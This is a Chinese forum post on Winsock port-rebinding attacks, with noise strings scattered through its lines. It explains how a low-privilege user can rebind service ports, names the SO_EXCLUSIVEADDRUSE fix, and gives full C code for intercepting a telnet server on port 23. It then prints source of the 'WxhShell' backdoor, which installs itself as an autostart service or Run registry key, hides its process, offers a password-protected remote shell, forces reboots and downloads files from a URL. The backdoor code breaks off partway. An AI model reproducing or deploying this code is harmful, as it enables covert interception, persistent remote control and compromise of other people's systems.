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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /!&R9!6 :  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1cJsj  
o|8`>!hF  
  saddr.sin_family = AF_INET; t}p@:'  
Zm TDQ`Ix  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); peVq+(=.  
@ GDX7TPV  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); QB{rVI>mI!  
=_TaA(79  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 %1U`@0  
9}tG\0tL*  
  这意味着什么?意味着可以进行如下的攻击: h 8 @  
Sr.;GS5i  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 kJK,6mN  
2 YxTMT  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) rjWLMbd.<  
$ 0Yh!L?\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 34 AP(3w  
CQg X=!q  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  wzWbB2Mb5  
{U!uVQC'  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 R4's7k  
4rNL":"O  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1&)_(|p[C  
||B;o-  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 A2H4k|8  
l5t2\Fl  
  #include Ss ?CfRM  
  #include :VA.QrKW  
  #include M^madx6`  
  #include    _GtBP'iN  
  DWORD WINAPI ClientThread(LPVOID lpParam);   U yqXMbw@  
  int main() B5am1y{P#  
  { .V'V:;BE%  
  WORD wVersionRequested; C 'mL&  
  DWORD ret; H}0dd"  
  WSADATA wsaData; u=+q$Q]  
  BOOL val; ,w)p"[^b  
  SOCKADDR_IN saddr; ,d,\-x-+/  
  SOCKADDR_IN scaddr; f^Bc  
  int err; 'Pltn{iq[  
  SOCKET s; MQ/ A]EeL  
  SOCKET sc; HL{$ ^l#v  
  int caddsize; r4 dOK] 0  
  HANDLE mt; I*[tMzE  
  DWORD tid;   &~DTZg Y  
  wVersionRequested = MAKEWORD( 2, 2 ); Z'v-F^  
  err = WSAStartup( wVersionRequested, &wsaData ); [THG4582oB  
  if ( err != 0 ) { B7*}c]^6/  
  printf("error!WSAStartup failed!\n"); &~sfYW  
  return -1; tx7~S Ur  
  } vq'c@yw;  
  saddr.sin_family = AF_INET; e_3CSx8Cc  
   xl4=++pu)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 jdqj=Yc  
ctmQWrk|B  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7Hw<ojkt  
  saddr.sin_port = htons(23); }odV_WT  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |01?w|  
  { ,Fqz e/  
  printf("error!socket failed!\n"); *gsAn<  
  return -1; {y^3> 7  
  } =d;Vk  
  val = TRUE; 2YwVU.*>  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 y>VcgLIB  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) do/)~9[4\  
  { "E!mva*NU  
  printf("error!setsockopt failed!\n"); I=DLPgzO9  
  return -1; |PVt}*0"  
  } M@UVpQwgv  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;  :S %lv  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -f(/B9}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 x<(b|2qf  
#TJk-1XM*q  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) m@xi0t  
  { J QKdW  
  ret=GetLastError(); V2&^!#=s  
  printf("error!bind failed!\n"); 25{ uz  
  return -1; **_&i!dtL  
  } }2>"<)  
  listen(s,2); qB6dFl\ (  
  while(1) <|6%9@  
  { P.WYTst=  
  caddsize = sizeof(scaddr); ENh8kD l5  
  //接受连接请求 i^Ut015q%  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); |KCOfVh?|.  
  if(sc!=INVALID_SOCKET) m7]hJ,0  
  { [G|mY6F^  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Y#V8(DTyH  
  if(mt==NULL) P<dy3 ;  
  { VkmRh,T  
  printf("Thread Creat Failed!\n"); DtCEm(b0  
  break; {i{xo2<1"  
  } #~ v4caNx  
  } [ .yJV`  
  CloseHandle(mt); 3SG?W_  
  } *U7 %|wd  
  closesocket(s); 3-Bl  
  WSACleanup(); T8J4C=?/  
  return 0; haSM=;uPM  
  }   Z)< wv&K  
  DWORD WINAPI ClientThread(LPVOID lpParam) 4 2) mM#  
  { 'JmBh@A  
  SOCKET ss = (SOCKET)lpParam; 4n( E;!s  
  SOCKET sc; ^J=hrYGA  
  unsigned char buf[4096]; n$+M%}/f  
  SOCKADDR_IN saddr; Jn}n*t3  
  long num; dJ3IUe  
  DWORD val; GRYe<K  
  DWORD ret; #XIc "L)c  
  //如果是隐藏端口应用的话,可以在此处加一些判断 vn').\,P2O  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ;6;H*Y0,|E  
  saddr.sin_family = AF_INET; P~$< X  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); *MM#Z?mP  
  saddr.sin_port = htons(23); >=,ua u7  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nL `9l1  
  { I`B'1"{  
  printf("error!socket failed!\n"); 7 _jE[10  
  return -1; !AHAS  
  } ;<Qdy` T  
  val = 100; :J_oj:0r"f  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Pi6C/$ K  
  { |^n3{m  
  ret = GetLastError(); '?Bg;Z'L%  
  return -1; )najO *n  
  } x-m/SI]_N  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _2Py\+$  
  { OKue" p  
  ret = GetLastError(); _2Zp1h,  
  return -1; |H)cuZ  
  } _GaJXWMbk  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) '&yg {n  
  { Q\_{d0 0  
  printf("error!socket connect failed!\n"); @"87F{!  
  closesocket(sc); *YV S|6bs  
  closesocket(ss); fv'4f$U  
  return -1; 0irr7Y  
  } ROAI9sW0  
  while(1) 4*H"Z(HP  
  { rzLd"`  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 gSi5u# }J  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 XX;6 P  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Pe^ !$  
  num = recv(ss,buf,4096,0); i?}>.$j  
  if(num>0) |7F*MP  
  send(sc,buf,num,0); K'b*A$5o  
  else if(num==0) L4' [XcY  
  break; [Eq<":)  
  num = recv(sc,buf,4096,0); d "<F!?8  
  if(num>0) [s6C ZcL  
  send(ss,buf,num,0); PXYE;*d(  
  else if(num==0) {[OwMk  
  break; F 1W+o?B  
  } )c<6Sfp^B  
  closesocket(ss); b)} +>Wx  
  closesocket(sc); 4MvC]_&  
  return 0 ; MiGcA EF;  
  } n'w,n1z7  
@'jf KW  
5G*II_j  
========================================================== :hqZPajE  
m#@_8_ M  
下边附上一个代码,,WXhSHELL hl/itSl$  
a|qsQ'1,;  
========================================================== :{}_|]>K  
.KA V)So"  
#include "stdafx.h"  M[P^]J@  
POd/+e9d  
#include <stdio.h> bg7n  
#include <string.h> 05e>\}{0  
#include <windows.h> Wr%7~y*K  
#include <winsock2.h> I 48VNX  
#include <winsvc.h> :F(9"L  
#include <urlmon.h> LJuW${Y  
k=n "+  
#pragma comment (lib, "Ws2_32.lib") d]B= *7]  
#pragma comment (lib, "urlmon.lib") Z6s5M{mE  
+<(a}6dt  
#define MAX_USER   100 // 最大客户端连接数 HYClm|   
#define BUF_SOCK   200 // sock buffer 4O$2]D.\  
#define KEY_BUFF   255 // 输入 buffer v|@1(  
A" !n1P  
#define REBOOT     0   // 重启 x mo&![P  
#define SHUTDOWN   1   // 关机 ZwJciT!_~  
sBW3{uK  
#define DEF_PORT   5000 // 监听端口 *@M3p}',M  
3'#%c>_  
#define REG_LEN     16   // 注册表键长度 8 njuDl  
#define SVC_LEN     80   // NT服务名长度 X#J6Umutm  
L(o#4YH}>J  
// 从dll定义API (cV  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); rw u3Nb  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qu{mqkfN>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); J_"3UZ~&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {BOLP E-  
3wt  
// wxhshell配置信息 (2txM"Dja  
struct WSCFG { rK=6]j(K  
  int ws_port;         // 监听端口 Ye |G44z  
  char ws_passstr[REG_LEN]; // 口令 I'_v{k5ZI  
  int ws_autoins;       // 安装标记, 1=yes 0=no VXC4%  
  char ws_regname[REG_LEN]; // 注册表键名 %$n02"@  
  char ws_svcname[REG_LEN]; // 服务名 X>3^a'2,E  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 iJnh$jo  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Q1V2pP+=@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /~hbOs/ L  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2VYvO=KA  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %C *^:\y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 gGbI3^ r#  
}98-5'u.X  
}; SMO*({/  
.ZX2^)`XD  
// default Wxhshell configuration Auac>')&Q  
struct WSCFG wscfg={DEF_PORT, #93}E Y  
    "xuhuanlingzhe", 9k `~x1Y)  
    1, K` (#K#n  
    "Wxhshell", ^KH%mSX>  
    "Wxhshell", u4"r>e6 _B  
            "WxhShell Service", {nRUH*(d9  
    "Wrsky Windows CmdShell Service", I'A:J  
    "Please Input Your Password: ", eP|)SU  
  1, d]7*mzw^j  
  "http://www.wrsky.com/wxhshell.exe", >d%VDjk .  
  "Wxhshell.exe" Gpu_=9vzv  
    }; _Ex?Xk  
P(_(w 9  
// 消息定义模块 2Ow<`[7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; a<p %hY3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +Jq`$+%C  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !; WbOnLP  
char *msg_ws_ext="\n\rExit."; 1n3$V:00  
char *msg_ws_end="\n\rQuit."; ~e^)q>Lb7(  
char *msg_ws_boot="\n\rReboot..."; w2Kq(^?  
char *msg_ws_poff="\n\rShutdown..."; lU$X4JBzS  
char *msg_ws_down="\n\rSave to "; [4gjC  
IwRQL%  
char *msg_ws_err="\n\rErr!"; BE4\U_]a3  
char *msg_ws_ok="\n\rOK!"; NbDda/7ki  
yWuIu>VJ  
char ExeFile[MAX_PATH]; 6Ct0hk4  
int nUser = 0; G"Pj6QUva  
HANDLE handles[MAX_USER]; u}CG>^0C  
int OsIsNt; :uvc\|:s  
<Kp+&(l,l  
SERVICE_STATUS       serviceStatus; J|?[.h7tO  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; N cM3P G  
LUul7y'"  
// 函数声明 Fwv\pJ}$  
int Install(void); y:9?P~  
int Uninstall(void); 1 ypjyu  
int DownloadFile(char *sURL, SOCKET wsh); jkCHi@  
int Boot(int flag); Wa, 7P2r  
void HideProc(void); BHclUwj  
int GetOsVer(void); RAOKZ~`  
int Wxhshell(SOCKET wsl); .EzSSU7n)  
void TalkWithClient(void *cs); 6o(lObfo  
int CmdShell(SOCKET sock); o16~l]Z|f  
int StartFromService(void); am (#Fa  
int StartWxhshell(LPSTR lpCmdLine); J/[7d?hI/  
.b~OMTHuvM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *h])mqhB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .h6Y< E  
wRi~Yb?  
// 数据结构和表定义 T>5wQYh$'  
SERVICE_TABLE_ENTRY DispatchTable[] = lb95!.av+I  
{ %IU4\ZY>  
{wscfg.ws_svcname, NTServiceMain}, `&,_xUA  
{NULL, NULL} "c EvFY  
}; *vD/(&pQ1:  
w= B  
// 自我安装 cf&C|U  
int Install(void) <G}m#  
{ vVdxi9yk  
  char svExeFile[MAX_PATH]; _KxX&THaj  
  HKEY key; i8eA_Q  
  strcpy(svExeFile,ExeFile); !|(Ao"]  
V^WQ6G1  
// 如果是win9x系统,修改注册表设为自启动 R05T5Q1]A  
if(!OsIsNt) { 6Ok,_ !  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9JXhHAxD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `>y[wa>9r  
  RegCloseKey(key); 8(uw0~GO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *Ji9%IA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Sy:K:Z|[U  
  RegCloseKey(key); 9<w=),R`8  
  return 0; `U!(cDY  
    } YpiRF+G  
  } J]\s*,C&  
} flPZlL  
else { vj(@.uU)  
sgD@}":m  
// 如果是NT以上系统,安装为系统服务 hsz$S:am  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); du8!3I  
if (schSCManager!=0) Cl{{H]QngX  
{ Q>V?w gZ  
  SC_HANDLE schService = CreateService VAt>ji7c  
  ( TftOYY.hQ  
  schSCManager, ko>M&/^  
  wscfg.ws_svcname, pj j}K  
  wscfg.ws_svcdisp, O/nqNQ?<  
  SERVICE_ALL_ACCESS, |<'10  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y^, "gD  
  SERVICE_AUTO_START, '&/(oJ ;O~  
  SERVICE_ERROR_NORMAL, 4fD`M(wv  
  svExeFile, Px$'(eMj^3  
  NULL, ud.poh~|  
  NULL, ItMl4P`|  
  NULL, M$#+W?m&  
  NULL, 01-p `H+  
  NULL Qk|( EFQ9  
  ); d{?)q  
  if (schService!=0) e5FCqNip'  
  { 2,+@# q  
  CloseServiceHandle(schService); rdFs?hO  
  CloseServiceHandle(schSCManager); pDP33`OFh  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8R&z3k;!t  
  strcat(svExeFile,wscfg.ws_svcname); XpOCQyFnM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~;TV74~rr  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Mi<*6j0  
  RegCloseKey(key); i4 P$wlO  
  return 0; =SA 4\/  
    } B>R* f C@g  
  } 20n%o&kG]8  
  CloseServiceHandle(schSCManager); oUCS |  
} $B*qNYpPy.  
} HH+TjX/b  
bL+sN"Km  
return 1; NuHL5C?To  
} LZbRQ"!!o  
w"yK\OE  
// 自我卸载 NT'Ie]|  
int Uninstall(void) O^y$8OKEi,  
{ 0qOM78rE  
  HKEY key; b$IY2W<Ln  
4 3}qaf[  
if(!OsIsNt) { -v;iMEZ)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DrW/KU,{+(  
  RegDeleteValue(key,wscfg.ws_regname); LPsh?Ca?N  
  RegCloseKey(key); %L.lkRs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Pxap;;\  
  RegDeleteValue(key,wscfg.ws_regname); :p,c%"8  
  RegCloseKey(key); $hC~af6  
  return 0; %`bLmfm  
  } ;<86P3S  
} y>?k<)nA{  
} \XZU'JIO  
else { _.u~)Q`6  
\?aOExG I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); % E<FB;h  
if (schSCManager!=0) 3L%Y"4(mm  
{ w;@`Yi.WQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); goG] WGVr  
  if (schService!=0) bDxPgb7N=  
  { fN~8L}!l  
  if(DeleteService(schService)!=0) { +SP! R[a  
  CloseServiceHandle(schService); rjfc.l#v  
  CloseServiceHandle(schSCManager); 4X<Oux*  
  return 0; &pa)Ee>  
  } I #Arr#%  
  CloseServiceHandle(schService); T9aTEsA[U  
  } ,"4X&>_f  
  CloseServiceHandle(schSCManager); OFJJ-4[_3  
} 5;r({ J  
} \UV T_=Y  
4yJ01s  
return 1; TiwHLb9  
} 7N&3FER  
\z(>h&  
// 从指定url下载文件 ={e#lC  
int DownloadFile(char *sURL, SOCKET wsh) $u/8Rp  
{ W+fkWq7`Xx  
  HRESULT hr; QSlf=VK*y  
char seps[]= "/"; K*hf(w9="%  
char *token; "a2H8x  
char *file; _p3WE9T  
char myURL[MAX_PATH];  ."$=  
char myFILE[MAX_PATH]; BN bb&]  
UFSEobhg&5  
strcpy(myURL,sURL); O :5ldI  
  token=strtok(myURL,seps); 3?-V>-[G_  
  while(token!=NULL) LWp?U!N  
  { LGdf_M-f  
    file=token; 0~LnnD N  
  token=strtok(NULL,seps); hfVzzVX:  
  } bYRQI=gW':  
FuRn%)DA5  
GetCurrentDirectory(MAX_PATH,myFILE); >rQ)|W=i  
strcat(myFILE, "\\"); [C*X k{e  
strcat(myFILE, file); G>?x-!9qcH  
  send(wsh,myFILE,strlen(myFILE),0);  F<XD^sO  
send(wsh,"...",3,0); 0hEF$d6U  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -M(58/y  
  if(hr==S_OK) y"{UN M|R  
return 0; ~XN]?5GQf  
else GcU(:V2o  
return 1; zXA= se0U  
[bQ8A(u  
} n~L'icD[  
[xH2n\7  
// 系统电源模块 IWSEssP  
int Boot(int flag) av$\@4I  
{ 2g`uC}  
  HANDLE hToken;  @=^jpSnZ  
  TOKEN_PRIVILEGES tkp; vCrWA-q#  
vM$#m1L?  
  if(OsIsNt) { Q'vIeG"o  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l-JKcsM  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'JXN*YO  
    tkp.PrivilegeCount = 1; ?j ;,q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; OmQuAG ^\x  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); oD|+X/F K  
if(flag==REBOOT) { B@: XC&R^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `jl. f  
  return 0; jw&}N6^G  
} $ET/0v"V  
else { <{P^W;N7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Wl^/=I4p#  
  return 0; n,R[O_9u[  
} l"V8n BR`  
  } &vGEz*F  
  else { =h1 QN  
if(flag==REBOOT) { WHh2fN'A5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) UBpM8/U  
  return 0; %QlBFl0a  
} ;U5x'}%0]  
else { Ib<5u  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) omDi<-  
  return 0; `XRb:d^  
} Ii2g+SlQDa  
} Qc)RrqYNGF  
mYU dhL ^  
return 1; [~&:`I1  
} tue%L]hc  
bU@>1>b6lE  
// win9x进程隐藏模块 1+y6W1m^R  
void HideProc(void) &Cn9 k3E\R  
{ )y [[Se  
m0q`A5!)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); W.7d{ @n  
  if ( hKernel != NULL ) TPmZ/c^  
  { ~N+/ZVo&y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); XzTH,7[n  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =.3P)gY)  
    FreeLibrary(hKernel); V-o`L`(F`  
  } -^NAHE$bW  
rSFXchD/  
return; mU0r"\**c3  
} Ny&Fjzl  
4N^Qd3[d  
// 获取操作系统版本 :j50]zLy{  
int GetOsVer(void) +xu/RY_  
{ w[n>4?"{  
  OSVERSIONINFO winfo; |<o>$;mZ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8;dbU*  
  GetVersionEx(&winfo); \/e*quxx  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wh[:wE]eX  
  return 1; 8Nl|\3nl-  
  else c$UpR"+  
  return 0; qS`|=5f  
} F(kRAe;  
 26klW:2*  
// 客户端句柄模块 ?tM].\  
int Wxhshell(SOCKET wsl) W Y qL  
{ eDMwY$J  
  SOCKET wsh; #p:jKAc3  
  struct sockaddr_in client; f;; S  
  DWORD myID; )@&?i.  
d?+oT0pCH  
  while(nUser<MAX_USER) r:\5/0(  
{ ff+9(P>*  
  int nSize=sizeof(client); frO/ nx|9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); q.K$b  
  if(wsh==INVALID_SOCKET) return 1; JnKbd~  
GeW$lA I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c#-97"_8  
if(handles[nUser]==0) d"$oV~>P|  
  closesocket(wsh); as47eZ0\  
else #K~j9DuR  
  nUser++; 1RO gUJ;  
  } 1VM5W!}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \/dm}' `  
ur quVb  
  return 0; f0`rJ?us  
} 5 WNRo[`7  
sV4tu(~  
// 关闭 socket 2/o/UfYjgF  
void CloseIt(SOCKET wsh) ^Ypx|-Vu!  
{ +53zI|I  
closesocket(wsh); aGkVC*T  
nUser--; 1H@rNam&  
ExitThread(0); 4Xho0lO&  
} wjGjVTtHs  
>^)5N<t?  
// 客户端请求句柄 8QgL7  
void TalkWithClient(void *cs) vCe<-k  
{ &!EYT0=>p  
zbKW.u]v  
  SOCKET wsh=(SOCKET)cs; w*R-E4S?2  
  char pwd[SVC_LEN]; Y8xnvK*  
  char cmd[KEY_BUFF]; |ssIUJ  
char chr[1]; 1&L){hg  
int i,j; bB :X<  
= 8e8!8  
  while (nUser < MAX_USER) { T1]X   
vrldRn'*9  
if(wscfg.ws_passstr) { z7}zf@Y-qv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >Ezwl5b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Rm 1`D  
  //ZeroMemory(pwd,KEY_BUFF); CO+jB  
      i=0; .7^-*HT}  
  while(i<SVC_LEN) { Y>m=cqR  
p?NjxQLA  
  // 设置超时 lTd2~_  
  fd_set FdRead; JF\viMfR  
  struct timeval TimeOut; 7%FZXsD  
  FD_ZERO(&FdRead); e9~4wt  
  FD_SET(wsh,&FdRead); s7.*o@G  
  TimeOut.tv_sec=8; ^"#rDP"v  
  TimeOut.tv_usec=0; :NyEd<'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); YD.^\E4o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :|mkI#P.  
:pu{3-n.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4gNRln-  
  pwd=chr[0]; tLXw&hFk`g  
  if(chr[0]==0xd || chr[0]==0xa) { 4'=N{.TtO  
  pwd=0; \uPTk)oaB  
  break; `*!>79_2C  
  } EQhV}9  
  i++; #C7j|9Ew1]  
    } CXFAb1m  
oVsazYJ|?  
  // 如果是非法用户,关闭 socket e[dRHl  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); aM}"DY-_ h  
} vj$ 6  
twS3J)UH  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6N)1/=)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [1MEA;  
{EN@,3bA  
while(1) { 0>MI*fnY"  
N6 8>`  
  ZeroMemory(cmd,KEY_BUFF); "kg$s5o  
D*Q#G/TF3  
      // 自动支持客户端 telnet标准   MW>28  
  j=0; j]D =\  
  while(j<KEY_BUFF) { ,F Vy:"FR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W+S; Do  
  cmd[j]=chr[0]; 0l@+xS;  
  if(chr[0]==0xa || chr[0]==0xd) { lM%fgyX  
  cmd[j]=0; -B(KQT,J  
  break; >D#}B1(!  
  } W A}@n  
  j++; PCfs6.*5Mf  
    } X($SBUS6  
zL}hFmh  
  // 下载文件 1y;zPJ<ntm  
  if(strstr(cmd,"http://")) { "A+F&C>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9iNns;^`q  
  if(DownloadFile(cmd,wsh)) F ;&e5G  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m3-J0D<  
  else _=x_"rz x  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xB+H7Ya  
  } 2:F  
  else { " ?,6{\y,  
(\>'yW{f  
    switch(cmd[0]) { -Lb^O/  
  ,4,c-   
  // 帮助 2H "iN[2A  
  case '?': { mhuaXbr  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;VRR=p%,  
    break; 5^/[]*  
  } mIo7 K5z{  
  // 安装 W fNMyI  
  case 'i': { RBD MZ  
    if(Install()) p2(_YN;s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LTct0Gh  
    else db~:5#*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /vMyf),2  
    break; XCriZ|s  
    } 3~la/$?p0  
  // 卸载 - S-1<xR  
  case 'r': { S>E.*]_  
    if(Uninstall()) $ '*BS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r ngw6?`n-  
    else V5 r7eC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6Qu*'  
    break; FM[To  
    } RY< b]|  
  // 显示 wxhshell 所在路径 Uk6!Sb  
  case 'p': { )&Bv\Tfjt  
    char svExeFile[MAX_PATH]; j}l8k@f  
    strcpy(svExeFile,"\n\r"); 3>Snd9Q  
      strcat(svExeFile,ExeFile); D0i30p`  
        send(wsh,svExeFile,strlen(svExeFile),0); +Bfi/>  
    break; }C.{+U  
    } =rF8[Q0K  
  // 重启 [+z:^a1?V  
  case 'b': { E ET 2|*}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V p{5Kxq  
    if(Boot(REBOOT)) Y_sVe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ] '/]j  
    else { T_T{c+,Zd$  
    closesocket(wsh); QGy=JHb  
    ExitThread(0); tvRy8u;  
    } UV.9 KcN.  
    break; 5 ZPUY  
    } x~eEaD5m%J  
  // 关机 $uhDBmb  
  case 'd': { zK?[dO  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); eS:e#>(  
